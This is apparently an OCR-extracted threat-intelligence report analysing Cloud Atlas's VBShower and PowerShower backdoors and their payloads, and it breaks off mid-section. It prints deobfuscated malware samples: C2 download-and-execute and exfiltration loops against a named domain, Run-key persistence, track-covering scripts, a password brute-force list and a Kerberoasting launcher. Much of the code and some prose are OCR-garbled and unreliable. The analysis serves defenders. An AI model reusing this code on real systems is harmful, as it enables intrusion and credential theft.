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Cloud Atlas seen using a new tool in its attacks
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Introduction

Known since 2014, Cloud Atlas targets Eastern Europe and Central Asia. We're shedding light on a previously
undocumented toolset, which the group used heavily in 2024. Victims get infected via phishing emails containing a
malicious document that exploits a vulnerability in the formula editor (CVE-2018-0802) to download and execute
malware code. See below for the infection pattern.
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Typical Cloud Atlas infection pattern

When opened, the document downloads a malicious template formatted as an RTF file from a remote server
controlled by the attackers. It contains a formula editor exploit that downloads and runs an HTML Application (HTA)
file hosted on the same C2 server. The RTF and HTA downloads are restricted to certain time slots and victim IP
addresses: requests are only allowed from target regions.

The malicious HTA file extracts and writes several files to disk that are parts of the VBShower backdoor. VBShower
then downloads and installs another backdoor: PowerShower. This infection scheme was originally described back in
2019 and has changed only slightly from year to year.
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Previously, Cloud Atlas employed PowerShower to download and run an executable file: a DLL library. This DLL
would then fetch additional executable modules (plug-ins) from the C2 server and execute these in memory. Among
these plug-ins was one specifically designed to exfiltrate files with extensions of interest to the attackers: DOC,
DOCX, XLS, XLSX, PDF, RTF, JPG and JPEG. The plugins were downloaded and their output was uploaded via the
WebDAV protocol over public cloud services. Interestingly, after a plug-in was successfully downloaded, the DLL
would delete the file from the cloud.

The VBCloud backdoor now replicates the executable file’s original capabilities, such as downloading and executing
malicious plug-ins, communicating with a cloud server, and performing other tasks. We first detected attacks using
this implant in August of last year. Since then, we’'ve observed numerous variations of the backdoor which have
helped it to stay under the radar. This new campaign loads VBCloud via VBShower, which also downloads the
PowerShower module. PowerShower probes the local network and facilitates further infiltration, while VBCloud
collects information about the system and steals files. Below, we use a sample seen in September 2024 as a case
study to examine each stage of a Cloud Atlas attack that employs the new toolkit.

Technical details

HTA

The exploit downloads the HTA file via the RTF template and runs it. It leverages the alternate data streams (NTFS
ADS) feature to extract and create several files at %APPDATA%\Roaming\Microsoft\Windows\. These files make up
the VBShower backdoor.

Sample HTA content

Below are the VBShower components loaded by the HTA dropper.

File name Description
AppCache028732611605321388.log:AppCache02873261160532138892.vbs  VBShower Launcher (copy)
AppCache028732611605321388.log:AppCache028732611605321388.vbs VBShower Launcher

AppCache028732611605321388 log:AppCache028732611605321388.dat Ll brcd VBShower

AppCache028732611605321388.log:AppCache0287326116053213889292.vbs VBShower Cleaner

After the download is complete, the malware adds a registry key to auto-run the VBShower Launcher script.

1 "Software\Microsoft\Windows\\CurrentVersion\Run","dmwappushservice","wscript /B
"%APPDATA%\Roaming

2 \Microsoft\Windows\AppCache028732611605321388.log:AppCache028732611605321388.vbs"
The backdoor also launches further scripts: VBShower Launcher (copy) and VBShower Cleaner.

1 wscript /B "%APPDATA%\Roaming

2 \Microsoft\Windows\AppCache028732611605321388.log:AppCache02873261160532138892.vbs

1 wscript /B "%APPDATA%\Roaming

2 \Microsoft\Windows\AppCache028732611605321388.log:AppCache0287326116053213889292.vbs

The attackers create custom HTA files for each victim, so the names of the scripts and registry keys are mostly
unique. For example, we have seen intertwine used as a name template, while the file names themselves looked as
follows.
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¢ ‘intertwine.ini:intertwineing.vbs”;
o ‘intertwine.ini:intertwineinit.vbs”;
o ‘“intertwine.ini:intertwine.vbs”;
o ‘“intertwine.ini:intertwine.con”.

VBShower

VBShower::Launcher

This script acts as a loader, responsible for reading and decrypting the contents of
AppCache028732611605321388.log:AppCache028732611605321388.dat, before using the Execute() function to
pass control to that file.

On Error Resume Mext
Set QC=GetObject{("winmgmts:{impersonationLevel=impersonatel ! root default:StdRegProv'>
QC.GetExpandedStringlalue &HBODDOOOO, CLSIDN{0OD43FEONL-FO?3—-11CF-8940- Eﬂﬂﬂc9m54228}\ProgID" "L MGmfHi3
Set aD=CreateObject{MGmfHild}
wldzy4=Chr{Asc{"F">-2) +Chr{Asc{"d">-3) +Chr{(Asc{"k">+9>
kkRurga=8plit{(WScript.ScriptFullName,  "~\">
aUNeUKa=kkRurga(UBound(kkRurgad>
ggmri3=Replace{aUNeUKa, 922", ."".1.1,.0>
allMeVKa=Lef t (qgnrX3, Len{qgmrX32-3)>
KUSEJob6=aD.GetParentFolderHame {HScript .ScriptFullName >
If aD.FileExists{KWSEJob+Chr{?2>+alNeUKa+ulJzy4> Then
8et XkoINB=aD.OpenTextFile{KWSEJob&Chr {92 >&kaUNeUKaBulUJ=y4>
LEKocHH3=XkoINB_Readn1l
PXUhbBTE=Mid(LKocHH3,3,2)
LB=Mid(LKocHH3.1.2>
cCEsQ12=True
For i=5 To Len{LKocHH3> Step 2
ECCtJ3 =Mid<LKocHH3.i.2>
0
If ECCtJ3=PXUhbIE Then
cCEsQ13=NOT ¢CEsQ13:ECCtJ3="" "
Exit Do
End If
If cCEsQl3
CCtJ3 Chr("&H" & LB Xor “&H" & ECCtJ3>
End If

Loop While False
bmhxhx2 =hmhachx2 +ECGt J3
Next
RkoINB.Close{>
Execute bmhxhx2
End If

Sample VBShower Launcher content
VBShower::Cleaner

This script is designed to clear the contents of all files inside the \Local\Microsoft\Windows\Temporary Internet
Files\Content.Word\ folder by opening each in write mode. While the files persist, their contents are erased. This is
how the Trojan covers its tracks, removing malicious documents and templates it downloaded from the web during
the attack.

The script uses the same method to erase both its own contents and the contents of the VBShower Launcher copy,
which is used solely for the malware’s first run.

On Error Resume Hext
Set YCc2=GetObject{"winmgmts:{impersonationLevel=inmpersonate}tirootidefault:StdRegProv™)
YCc2.GetExpandedStringUalue &H80006060,"CLSID\{GD43FEG1-FO93-11CF-8940-00AOCY 0542283 \ProgID”,"" ,rK1A
Set FfSb=CreateObject(rK1A)
FfSb.0penTextFile WScript.ScriptFullName,2,True
FfSb.0penTextFile Replace(WScript.ScriptFullMame,"92","" »1,1,8),2,True
Set Fqd1=GetObject{"winmgmts:{impersonationLevel= 1mpersunate}!\ruut\deFault:SthegPruu")
Fqd1.GetExpandedStringUalue &H808000661,"Volatile Environment™,"APPDATA™,UFF
WOHG3="\Temporary Internet Files\Content.Word\"
jn8="%__\local\MicrosoftiNindous"
If FfSb.FolderExists{ "3APPDATA%N..\Local\HicrosoftiWindowsiTemporary Internet FilesiContent.Wordy") Then
BANM4=""2APPDATA%Y . .\Local\MicrosoftiWindows\Tenporary Internet Files\Content.Wordy”
End If
If vbString=UarType{BAmM4} Then
Set YMId=FfSb.GetFolder{BAmH4)
Do
If YHId.Size=8 Then
Exit Do
End If
Set mEC=YHMId.Files
For each BIgH@ in mEC
FfSb.0penTextFile BIgHB,.2,True
Hext
Wscript.Sleep 567
Loop While True
End If

Sample VBShower Cleaner content
VBShower::Backdoor

The backdoor’s payload is contained encrypted within a DAT file.
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Encrypted VBShower backdoor

VBShower::Launcher goes through several stages to decrypt the backdoor.

On_Error Resume Mext
CKFD=" 303435466F7220544268453D3120546F2034353A45786563 75746520
1444F44422F53747265616D22303131456446353D22504F5354223039314472
E6765744F7074696F6E2832293A7A322E7365744F7074626F6E20322C54633A
CA56570203132383436323035395630203D2062784964202620435374722852
2656174654F626A65637428206E7A35223A6A332E4F70656E3A6GA3I32ES47270
aBJh=2
Execute JhEf<CKFD.aBJh>
Function JhEf {ppo5.ByRef MFu?>

pNSE=CInt{Bjo3 (Mid<{ppob . MFu?>,.6>>=2

JhEf =Mid{Bjo3{Mid<ppo5, MHFu?>,pNSB+6> 4>

MFu?=MFu?+pNSB+6

Wicript.Sleep 100
End Function
Function Bjo3<{(ctBi_Uzhi>

ReDim of¥f<{Uzhl)

CFi?=2048

CFi?=1

For wyfid=1 To Uzhl Step 2

N of Yf{uyhd>= GhP(CInt(Chr(38)+"H"+H1d(cSB1 wyfAd. 233>

ext

Bjo3=Join<Cof¥f . String{0, 03>
End Function

First decrypted layer of VBShower Backdoor

QC.GetExp ringualue “CLSIDN 192-1 1e5}\ProgID™, ™ ,qA
Set z2-Create0bject(qA):Tc=22.get0ption(2):22.setOption 2,Tc
i7="https://rianir.net/wp-content/uploads/elenentor/css/post-16.cssTver=1671731007/panir™

B6="H0z111a/5.0 (Windows NT 10.05 Winghs x64) APpLeeDKLE/537.3¢ (-

QC.GetExpandedStringUalue &H80860 Ftuare\Microsoft\Windows\CurrentUersion\Internet Settings”,"ProxyServer™,ns
UB-Replace (USCript ScriptFullNane,”.u","9292.u",1,1,8)

QC.GetDHORDUalue &HSBEOOOB1, SnFtuare\l‘lltrnsnft\Wlnduws\ﬂurrentuerslun\[nternet Settings”,"ProxyEnable”,Ge
yd-Replace(UScript.ScriptFullName," ubs",".tnp",1,1,8)

TF ((UarType(A8) <> ubNUL1) And (Ge = 1)) Then:z2_ setProxy 2, AB:End If

Qt.GetExpandedStringUalue &H800ABOE1,"Volatile Environment™,"USERDOHAIN",DA

If ((VarType(DA) <> ubNUIl)) Then:B6=B6+DA:End IF:wWScript.Sleep 128462

UB = “%APPDATA%\Microsoft\Windows\" & CStr(Replace(Wscript.ScriptName,”92","*,1,1,0))

Do

qc.Getl ringvalue ,"Software\Hicrosoft\Uindows\CurrentVersion\Run", "dnuappushservice™,Fo
If ((VarType(Fb) = vbMull)} Then
QC.SetExpandedstringUalue GH8B00BBA1,"Software\Hicrosoft\Windovs\CurrentUersion\Run', " dnwappushservice™, "wscript /B ™ & Chr(34) & U8 & Chr(34)
End If
On Error Resume Hext
22.0pen "GET",i7,false:z2.SetRequestHeader "User-Agent”,B6+", like Gecko) Chrome/127.8.0.8 Safari/537.36 Edg/127.8.2535.92"
z2.Send
If z2.Status=280 Then
wb=22_responseText
If Len(wb) < 1048576 Then
G
For i=1 To Len(ub) Step 2
Go=Hid(wb,i,2)
cB-Chr("&H" & G6 Xor "GH" & LB)
n5-n5+c8
Mext
Execute n5
Else
Set j3=treateObject("ADODB.Stream"):j3.0pen:j3.Type=1:j3.Urite z2_responseBody:j3.SaveToFile UB,2:j3.Close
Getbbject ("winmgnts:{inpersonationLevel=inpersonate)t\root\cinu2:Win32_Process™).Create "wscript /B " & Chr(34)+UB+Chr (34) :Uscript _Sleep 52618
aD_OpenTextFile UB,2,True
End If
End If
Uscript.Sleep 52618
If ab.FileExists(yd) Then
1f aD.GetFile(yd).Size > 8 Then
set ¥B-aD.OpenTextFile(yd,1)
z2.0pen "POST",i7,false
z2.SetRequestHeader "User-Agent',B6+", like Gecko) Chrome/127.8.8.8 Safari/537.36 Edg/127.8.2535.92"
z2.Send XB.ReadAll():XB.Close()
aD .DpenTextFile yd,2,True
End If
End If
Randomize
uScript.Sleep 2131234+ Int(Rnd=g454)
Loop

Fully decrypted and deobfuscated VBShower Backdoor content
The VBShower backdoor then runs in memory, subsequently performing several operations in a loop.

¢ Check for the autorun registry key and restore it if missing.

« Attempt to download additional encrypted VB scripts from the C2 server and run these. If the downloaded data
is larger than 1 MB, the module saves the script to disk inside alternate data streams (NTFS ADS) and runs it
with the help of the “wscript” utility. Otherwise, it runs the script in the current context.

« If an alternate data stream contains a TMP file, the backdoor sends it to the C2 server with a POST request.
The additional scripts downloaded from the C2 use the TMP file to store their output.

VBShower::Payload

We were able to detect and analyze a number of scripts downloaded and executed by the VBShower backdoor.
VBShower::Payload (1)

The first script we found does the following.
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e Gets the domain, username and computer.

¢ Gets the names and values of the registry keys in the SOFTWARE\Microsoft\Windows\CurrentVersion\Run

branch.
¢ Gets information about the file names and sizes in the following folders:
o %AppData%;
o %AllUsersProfile%;
o %AllUsersProfile%\Canon;
o %AllUsersProfile%!\Intel;
o %AllUsersProfile%\Control;
o %AllUsersProfile%\libs;
o %AllUsersProfile%\Adobe;
o %AllUsersProfile%\Yandex;
o %AllUsersProfile%\Firefox;
o %AllUsersProfile%\Edge;
o %AllUsersProfile%\Chrome;
o %AllUsersProfile%\avp.
* Gets the names of running processes, their start dates and the commands that started them.
* Gets a list of scheduler tasks by running cmd.exe /c schtasks /query /v /fo LIST.

All data collected this way is saved in a TMP alternate data stream and forwarded to the C2 server by the

VBShower::Backdoor component.

The paths listed above (%AllUsersProfile%\<subfolder>) are used for installing the VBCloud backdoor. The steps
performed by the script are most likely needed to check if the backdoor is present and installed correctly.

On Error Resune Mext
u_buff =
Set u_hook=GetObject (“new:
y_hook.Run Coolt""t"cnd.exe /c powershell o.File]: fuitenText("c: \ProgranData\init.txt’, *init')""",0.0001:uScript.Sleep 2
Set v_ntw=CreateObject(“WScript.Netuork™):v_bu nEu.UserDonaint”i"ty_ntu. ConputerNanet " '&y_ntu.UserNanetChr (124) :v_buff=y nufmcnr(w) v_t1-6i80000001
set u_reg=GetObject(“winmgnts: {inpersonationl evel-Inpersonate}t\root\deFault :StdRegProv')
If y_reg.EnunValues(u_t1,"SOFTUARE\Microsoft\Windous\CurrentUersion\Run,u_t2,u_t3)=9 Then
if iSArray(v_t2) then

for u_ti=0 to Usound(u. tZ)

q .G alue u_t Microsof t\Windows\CurrentUersion\Run”,u_t2(u_th),u_ts
K _buff=u, nufr&cm—(w)&u £2(u_thyere e _t5eChr (124)

ne
cnd 1FsEnd 16
set u_fso - CreateObject(“Scripting.FileSystemdbject™)
Set u_12=y_fsoGetFolier (Createlbject (“USeript . Shell") i

set u_F 12.Files:For each u_fc in v_fF:u_buff-y _buFFchr (19)2,_Fc-Nane
set u_F Fs0.GetFolder(Createbject("
set u_F 12.Files:For each y_fc in v
Fs0.GetFolder(Createlbjec

ings(“%AppData%™)) :1f y_f12 <> wbNuLL Then:y_bufF-u_bufFEChr (10)&Chr (18)&"AppDEL:"
Bu_fc. xuer.cm—nzn) Next:End Ifiv_f12 - ubNull
1e%"))11f y_f12 <> ubNuLL Then:y_buff-u_bufFRChr(10)eChr (10)&"AL1USKSPrFL:
2 r.u fo xuer.cm—nzn) Next:End Tf:iu_f12 = ubNull
q 1e% £ u_F12 <> ubNulL Then:u_buff-u_buFF&Chr (10)&Chr (10)&"Canon:
_F12 = ubhull
£ U_F12 <> ubNulL Then:y_buff-u_buff&Chr (10)8Chr (10)&"Intel:"
12 = ybNull
):IF u_F12 <> UbNULL Then:u_buff=u_buffechr(10)aChr(10)&"Control:"
£12 = UbNu11
U_F12 <> UbNULL Thenzy_buff-u_bufFRChr (10)&Chr (10)&"1ibs :*
_F127= ubNull
£ U_F12 <> ubNulL Then:y_buff-u_buff&Chr (10)&Chr (10)&"Adobe:"
12 = ybNuLl
If y_f12 <> ubNuLL Then:u_buff-y_bufF&Chr(10)&Chr (10) & Yandex:"
12 =" ybNull
If y_f12 <> ubNuLl Then:u_buff-y_buffRChr(10)eChr (10)& Firefox:"
£12 = ubNull
= U_F12 <> ubNULL Thenzy_buff-u_bufFRChr (10)&Chr (10)&"Edge :*
- r.u foo xuer.cm—nzn) Next-End'1 _F12"= ubNull
Chrone"1IE 0_12 O UBMULL Thenzu_BuFf=o_buFFechr (10)20hr (10)8"Chrone:
1 2 ="ubNull

117)

_buf=u_buf FEChr (10)tu_fc.

Fuscrpt.Shell”)
iu_bUfF=y_buFFEChr (16)6_fc.

Tpt.Shel1")

DuFFey_BuFFRLhF (16)a_fc

1)
X )_buff-u, hufH’.Enl‘(w)&u fe.
F£50.GetFolder (Create0bject ("WScript.Shell")
12.Files:For each u_fc in v_fF:v_buff=u_bufFaChr (16)tu_fc.
_fs0.GetFolder (CreateObject ("WScript.Shell”)
DUFE=y_BUFFRCNF (16) 2.

1)
ufF-u_buFFathr (10)&v_Fc.
Fs0. netFn]ﬂeF(ErextennJect( sseript.Shell”)
set _Ff-y_F12.Files:For each u_fc in _buff-u_bufFechr (10)2y_fc..
Fs0. netFn]ﬂer(Erexteﬂn]ect( cript.Shell").Exp.
12.Files:For each u_fc in v_fF:iu_buff-y_bufF&Chr (10) &u_fc.Nane
GetObject(“winngnts:{inpersonationLevel= mpersnnate>'\rnnt\c1mv
For Each y_pr in u_cimv.ExecQuery(“SELECT  FROM Win32_Process"
u_fs0.0penTextFile(Replace(UScript. x:nptFuuName
Toku-Replace(WScript.ScriptFullName,™ .ubs™," tnp™,1,

g: ™):IF u_f12 <> ubNull Then:u_buff=u_buf F&ChK(10)&Chr(10)8"aup:"
-~ &u o xuer,cnrnzn) “Nextcend 1F2u_buFf=u_bufFachr (10}

)
buFFEChr (10)8LeFt (u_pr.CreationDate,14)&" #"&y_pr .Captiont"#"&y_pr .ConmandLineRChr (124) :Next
. tmp” n) rue) .Urite(u_buff).Close()
_hook.Run Coole"t"cnd.exe /¢ schtasks /query /v /fo LIST >> “tloku,0.0081

Decrypted and deobfuscated contents of script 1
VBShower::Payload (2)

The second script reboots the system.

On Error Resume Next
Set OpSysSet = GetObject('winmgnts:{authenticationlevel=Pkt,(Shutdoun)}").ExecQuery("select = from Win32_OperatingSystem uhere Primary-true")
for each OpSys in OpSysSet
retual = 0pSys.Reboot()
next

Decrypted and deobfuscated contents of script 2

VBShower::Payload (3)

A further script downloads a ZIP archive, extracts it into the % TMP% directory, and collects the names and sizes of
downloaded files to then send an extraction report to the C2. This is done to verify that the files were received and

unpacked.
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On Error Resume Mext
Wscript .Sleep(10000)
Set gr=GetOhject('winmgmts: (1Nnersnnat1onLeu=l inpersonatel ! root default =StdRegProu">

Set tnjb=CreateObject<tn>
nou=tnjh. yetOpt1nn(2)
tngh.setoption 2,
Hof tuareHicrosof t\iindaus\CurrentUers ions”
5 .GetExpandedStringUalue &HEIIIIIIIIIIIIIIIIM st & “Internet Settlngs","ProxuSeruer L DXSPU
gr.GetDWORDUalue &HBOOBODOL.st & “Internet Settings"."ProxyEnable",
If (WarType(pxsrud <> ubNull} And <(pxon = 1>} Then
tnjh.setProxy 2. pxsry
End If
tnjbh.Open “GET", “https: v false
th]l:]l getReuuestHaadelﬂ "Us:r Agent™. "Mozilla-5.0 (Windows NT 10.0; Win64; x64> AppleWebKit,537.36 (KHTML, like Gecko> Chrome~118.2.0.0"
tnj
If tnjb_Status=200 Then
Set ts= Creat:OhJect("nDODB Strean™>
ts.0pen
e Type-t
ts.Write tnjh. responsaﬂudu
nf=WScript .ScriptFullNan
ZipArch-Replace CHidCnf 1. Instrci nf,
ts SaueToFlle zipArch.2

58 Shellﬁpp = CreateObject<"Shell_Application)
§er ohjlectFolder = Shelliun NaneSpace<CresteObiect("UScripe.Shell™ . ExpandEny ironnentSerings "2 IHPx ">
got_ohjSrcFoldor = Shollipp.NanoSpace(zipire
onst oua = &H14&
objDestFolder.CopyHere ohiSrcFolder.Itens. oua
Set_bf=-CreateObject{“Scripting.FileSystenOhject™
bf .DeleteFile zipArch
Yscript. S leep10000)
got £-bi.GotFoldorCroatodhjoct( USeript .Sholl™ . ExpandEnvironnentStrings(HINPL> s \PH">
Sct ff ='f File
For each fc in
130 $5ai hbc Naneav-"ate Size

2, Mdndt Mozipt 11)

Next
bf .0penTextFile(Replace (UScript .ScriptFullName,".vhs"”,".local".1,1.0>,2. True) .Urite(t3>.Close{>
End If

Decrypted and deobfuscated contents of script 3
VBShower::Payload (4) and (5)

VBShower downloads two similar scripts that are designed for installing the VBCloud and PowerShower backdoors.
These scripts first download an archive from a hardcoded link and then unpack it into the %ALLUSERSPROFILE%
folder. In the case of VBCloud, the script changes the extension of the unpacked file from TXT to VBS and creates a
scheduler task to run VBCloud. In the case of PowerShower, the extension of the unpacked file is changed from TXT
to PS1, whereupon the script adds the file to the \Run registry branch.

Unlike VBShower’s own scripts, downloadable scripts with a payload are present on disk as files, rather than hidden
inside alternate data streams.

Besides installing backdoors, these scripts build a report that consists of the names of running processes, their start
dates and the commands that started them, registry keys and values in the \Run branch, and a list of files and
directories at the path where the archive was unpacked. This report is then sent to the C2 server.

nz 06

Decrypted and deobfuscated contents of the scripts for downloading and installing VBCloud and PowerShower

PowerShower

PowerShower is nearly identical to VBShower in terms of functionality.

Yrite—Host “Start protoc
fpredict_vers = “114.0.

CUAUK = (003 €13 (23 €33 (43 (57 <63 {73 (83 {93 {103 {113 (12> 13)(14)(15)(15)(17)(13)(17)(2&»(21)( 23(233 24> €257< 273 (283(29 €303 ¢313{322 €3I (3" 3
AB Ay

2

$BUHHE[0N = $CUAUK —f “RgBi| AFEAUgBUAEWAK EYARWBIAEKASgBLAEWATQBOAE

H: 0AdyH 90 CoRc whyACAACuBt AGT AcwBDANT A2 0BuAGS AKA 1 k BDAGSAhgB2AGUAC g BIAFOA! OQNSnFn huBJAGAAd
'mﬁkmmﬂyﬂ LgBeAHAAZQBuA Cyh SBQRESRUMBU ALAAgACONAQByAGWALARYACOAZY. lanROMRJR QficyB 1AHOA QBuAGAA. AR YACuAJABYAGGAL
ARkAcgBLAH! QByh 4Rlﬂnanlna uAHHAAI ’lEzRDsM" EGRH[IMJS{H.]R“ AaQBuAGAATABIA" . "E4AUABYAFUAS AR JAB1AH hﬁﬂnﬂnnne yﬁl) mmnmn RZR
GUAGgAOACT AG4Ad" . "AR wB6AGKABABSAGEALYA1ACIAMARYACY! ip! BuAHcACuAY! nnn 2QBul INAA
uACARPQAg BeAFS ANRBAADs QBpAGYAI ARG !RYgElRH]ﬁhgﬂgﬁCﬂﬂZq QBZAAKACOAKAGYAaGB6ADDAKABNA kn nkn(:unh ndnnlnnmncnnlnncm»gsl
AC4AeAT=ACAAY ABuACAAbUBD AZQBr AFOAT I 7AALACGE, nEuﬁanwRH]ﬁZQ zAHMA2QBUAG4ATA ™,
SINKVUHS = [Systen.Text.Encodingl::Unicede.GetString<[Systen. Cunuert]:=Frum--as254String($EUHBEION));$UGQRTL:51 IRUUHS ; Invoke—Expression $UGQRTL;

Sample PowerShower script installed with VBShower

PowerShower downloads additional PowerShell scripts from the C2 and executes these. If the downloaded data
begins with the character “P”, PowerShower interprets the data as a ZIP archive, rather than a PowerShell script, and
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saves the archive to disk as “%TMP%\Firefox.zip”. PowerShower does not unpack the archive, serving as a
downloader only.

Function UGQRTL($ni) {
""ABCDEFGHI JKLHNOPQRSTUVWXYZabcdefghi jk1mnopgrstuuwxzyz 8123456789+/";

$nel = $ni.length - 1;
for ($h = B; $h - 1e $nel; $h++) ¢
for ($x = 0; $x - le 63; $x++)
if ($ra[$x] - ceq $ni[$h]) ¢
$x2 = [Convert]::ToString($x, 2).PadLeft(sé, '08');
$sr += $x2;

H

H
$nel2 = [Convert]::ToInt32($sr.length) /7 8 - 1;
For ($q = 0; $q - le $nel2; $q+e) {
$u = $sr.substring($q = &, 8);
$z = [Convert]::ToInt32($u, 2);
$y = [char]($z):
if ($u - ceq "0EO000BE") {
$u1 = $u;
} else {
$tuo += $y;

H
return $tuo;

i
Function BUHBEION{S$url) {
$1a = -

$t_p (gi $enu: temp).fullname + “\sapp.xtx";
$tent = [io.file]::ReadAllText($t_p);
Remove - Item St_p - force - recurse;
$1a = $tent;
$rh = Hew - Object - Combbject Msxml2.ServerXHLHTTP .6 .8;
$rh_open(“POST", $url, §false);
$rh_setdption(2, $rh.getOption(2));
$pr = Get - ItemProperty - Path "HHCU:\\Software\\Microsoft\\Windows\\CurrentUersion\\Internet Settingsi\";
if ($pr.PrnxyEnah19 - eq "") {
$rh.setProxy(2, $pr.ProxySeruver);

¥

$rh.SetHequestHeadEr("User—ngent", “Hozilla/5.8 (Windows HT 18.08; Wint4; x64; rv:130.8) Gecko/20200201 Firefox/131.8");
$rh.send("$la");

return $rh._status;

i
Function INXVUHS($url) {
4sr = 8;
do §
4rh = New - Object - ConObject Msxml2._SeruverXMLHTTP .6 .8;
$rh.open(“GET", $url, $false);
$rh.setoption(2, $rh.getoption(2));
$pr = Get - ItemProperty - Path “HKCU:\\SoftuarexiHicrosoft\iWindous\iCurrentUersionzInternet Settingsi\”;
if ($pr.ProxyEnable - eq "1} {
$rh.setProxy(2, $pr.ProxyServer);

4
$rh.SEtRequestHeadw("Userfngent", “Mozilla/5.8 (Windows NT 18.8; Winéh; x64; rv:1308.8) Gecko/20200291 Firefox/131.0");
$rh.send();
$sr = $rh.status;
if ($sr - ne 200) {
dnite = (-join 317. .328 | Get - Random - Count 1) = 1;
sleep $mite;
>
¥ while ($sr - ne 200);
return $rh.respunseﬂudy;
H
do {
$rs = INXUUHS “https://: "
$bern = $rs[8];
if ($bern - eq 88) {
$fiz = (gi $env: temp).fullname + "\Firefox.zip";
[io.file]::WriteAllBytes($fiz, $rs);
} else {
$rnd_f1 = [System.10.Path]::GetRandomFileName();
$1mx = (gi $enu: temp).fullname + “\\" + $rnd_fl;
[io.file]::WriteAllBytes($1mx, $rs);
$tent = Get - Content $lmx;
[#nl] $cod = $tent;
$ond = UGURTL(Scud.Relatinnships.xﬁ.annutatinn[f1.. - $[:n|1.Relatinnships.xﬁ.annutatiun.LEngtn] - join "');
Invoke — Expression 4&mnd ;
Remove - Item $1mx - force;
$t_p = (gi $enu: temp).fullname + "\

sapp-xtx "3
if ([System.I0.File]::Exists($t_p)) ¢
$sr1 = BUHBEION “https: //) o T oot : - _ o o, e
i
¥
sleep 1

» while ($r; - ne 1)

Decoded PowerShower script

The downloaded PowerShell scripts run in memory, without being saved to disk. Most of the scripts save their output

to sapp.xtx, which PowerShower then sends as a report to the C2.
The PowerShower scripts use the same C2 domains as VBShower.

PowerShower::Payload (1)

The script gets a list of local groups and their members on remote computers via Active Directory Service Interfaces

(ADSI). The script is most often used on domain controllers.
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Stext_PC="1HEEEEN";
Llist="";

$data $text_PC —split . ";
na

$len $data length,

for{Snum = num —le 5len—1; Snum++)
£
Snamepc=5datal$numl;
list = $list + “"PC_name " + SdatalSnum] + " 4+ttt tabt44++4";
try
£

$computer = [ADSI1"WinNI://$namepc .computer";
$a = Scomputer.psbase.children ! vhere { $_.pshase.schemaClassMame —-eq ‘group” 2;
foreach ($h in %al>

§list = $list + "Group " + $h._Mame + “':";

Sgroup = [ADSI15__pshase.Path; Sc $h pshase . Invoke ("Members"};
foreach ¢%d in %c>

£

Sus = &$d.GetType(d. InuokeHemheP( Mame *, “GetProperty', %null, %d. 4nulld;
£list I £list + v + fus + "3

>
catch
$list = 5list + “ERROR";

>
[io.filel::WriteAllText(Senv:temp+"\sapp.xtx", 5listd;;5;;

Sample script to get a local groups and members list, downloaded and executed by PowerShower
PowerShower::Payload (2)

Script for dictionary attacks on user accounts.

$1a="";

$pct="Admin12345adnin PESswbrd 1qaz2usk quertyl123 QazWsx12345Q@ newyear PEsswbrdil 1PEssword quedsa 123 1234 123456 114111 1 1-
$td=$pct -split " “;

$nl=$td.length;

$ut="Adninistrator G v-c- I —— . gy T - e N - D
$ud=$ut -split " *';

$1us=$ud.length;

for(Suns = B; $uns -le $1lus-1; Suns++)

$una = $ud[$uns];

$1a = $1a + Suna + "o+ g
for($mn = 0; $mn -le $nl-1; $mn++)
<

$pns=$td[$mn];
4san = (new-object directoryservices.directoryentry "",$una,$pn5).pshase.name -ne $null;
$1a = $1a + $pns + "ot o+ $san + vy
H
}[io.file]::WriteAllText($env:tmp+"\sapp.xtx", $la);

Sample password bruteforcing script, downloaded and executed by PowerShower

PowerShower::Payload (3)

The script unpacks the Firefox.zip archive previously downloaded by the PowerShower backdoor, and executes the
keb.ps1 script contained in the archive as a separate PowerShell process with a hidden window. The keb.ps1 script
belongs to the popular PowerSploit framework for penetration testing and kicks off a Kerberoasting attack.

$ra = Senv:temp+"\Firefox.zip";
$11=New-Object -com shell.application;
$e = §$11.MameSpace($ra);

foreach(%tm in $e._items(}}

{

$11 .NameSpace($env:temp) .copyhere{$tn,20);
H
sleep 3;

Remove-Item $ra -Force;
$sp=[wmiclass]"Win32_ProcessStartup”;
$sp.psbase.properties["Showkindow"].Value=$Ffalse;
$cm="powershell -ep bypass -w 1 " + Senu:tmp + "\keb.psi";
$rs={[wniclass]"win3d2_process").Create{$cm,"c:",$sp);
sleep 4;

$insdf = type "C:\ProgramData\kerb-Hash@.txt";
[io.file]::WriteAllText({$env:temp+"\sapp.xtx", $insdf);;

Sample script that launches a Kerberoasting attack, downloaded and
executed by PowerShower

PowerShower::Payload (4)

This script gets a list of administrator groups.

$rit33 = $null -ne (whoami fgroups /fo csv | ConvertFron-Csv | Uhere-Object { $_.SID -eq "S-1-5-32-544° });
$ri = $rit33;[io.file]::WriteAllText($enu:tenp+ \sapp.xtx™, $rid;s;;s;

Sample script to get a list of administrator groups, downloaded and executed by PowerShower
PowerShower::Payload (5)

This script gets a list of domain controllers.

$lah = nltest /dsgetdc:KGHFA;
[io.file]::WriteAllText({$env:temp+—\sapp.xtx", $lai);

8/15


https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/12/20145327/Cloud_Atlas_14.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/12/20145436/Cloud_Atlas_15.png
https://www.keepersecurity.com/blog/2024/03/11/what-is-kerberoasting-and-how-to-prevent-it/
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/12/20145523/Cloud_Atlas_16.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/12/20145557/Cloud_Atlas_17.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/12/20145646/Cloud_Atlas_18.png

Sample script to get a list of domain controllers, downloaded and
executed by PowerShower

PowerShower::Payload (6)

This script gets information about files inside the ProgramData directory.
$dr="C:\ProgramData\=";
$1la=""";$tfs = Get-ChildItem -Path $dr -ErrorAction SilentlyContinue -Force;
foreach{$tf in $tfs)
$1a=%1la+$tf . LastiriteTime+" "+$tf.LastAccessTime+": "+$tf.FullName+" - "+$tf._Length+"";

¥
[io.file]::WriteAllText{$env:tenp+"\sapp.xtx", $la);;

Sample script to get information about files inside the ProgramData directory, downloaded and executed by
PowerShower

PowerShower::Payload (7)

This script gets the account policy and password policy settings on the local computer.

$1a = net accounts;
[io.file]::WriteAllText{$env:temp+"\sapp.xtx”, $1a);;;

Sample script to get policy settings, downloaded and executed by
PowerShower

PowerShower::Payload:: Inveigh

We also observed the use of PowerShell Inveigh, a machine-in-the-middle attack utility used in penetration testing.
Inveigh is used for data packet spoofing attacks, and collecting hashes and credentials both by intercepting packets
and by using protocol-specific sockets.

The Inveigh script is extracted from the ZIP archive downloaded by PowerShower and runs as described under
